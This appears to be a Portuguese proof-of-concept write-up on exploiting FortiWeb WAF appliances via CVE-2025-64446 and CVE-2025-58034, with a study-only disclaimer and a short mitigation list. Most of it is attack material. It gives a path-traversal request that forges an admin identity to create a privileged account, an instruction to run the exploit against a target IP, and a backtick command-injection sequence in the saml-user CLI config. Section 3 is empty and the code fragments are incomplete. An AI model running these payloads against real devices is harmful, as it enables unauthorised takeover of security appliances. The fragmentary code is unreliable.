Simulação de exploração do FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Nota:

• Este documento é apenas para fins de estudo e pesquisa em segurança.
• Não utilize para atacar sistemas sem autorização.

1. Visão geral

FortiWeb é um dispositivo de Firewall de Aplicação Web (WAF) usado para proteger aplicações web.

Em 2025, duas vulnerabilidades críticas foram descobertas:

• CVE-2025-64446 – Bypass de autenticação via Path Traversal
• CVE-2025-58034 – Injeção de comandos do SO

2. Visão geral do CVE-2025-64446

Exemplo:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Visão geral do CVE-2025-58034

4. Processo de experimentação (POC)

4.1. Preparação do ambiente:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Isso ajuda a evitar conflitos de versão de bibliotecas, garantir a estabilidade do ambiente de trabalho e limitar o impacto no sistema

4.2 Exploração

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Execute a ferramenta com Python3:

python3 exploit.py <IP_target>

• <IP_target>: O endereço IP aqui é o nome do host do dispositivo FortiWeb.

Obtém-se username e password -> realiza login

Exploração bem-sucedida e criada uma nova conta com privilégios de admin.

4.3 Exploração do CVE-2025-58034 após login na conta

Após fazer login com sucesso usando a nova conta de administrador criada, o atacante pode explorar a vulnerabilidade de injeção de comandos autenticada através de requisições especialmente criadas ou diretamente através da interface de linha de comando do FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

O FortiWeb sairá da string de configuração e executará o comando id durante o processo de configuração do saml-user.

5. Algumas formas de mitigação das vulnerabilidades

• Atualizar o FortiWeb para a versão corrigida.
• Limitar o acesso à interface de administração.
• Não expor a interface de gerenciamento à Internet.
• Verificar contas de administrador anormais.

6. Referências adicionais

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034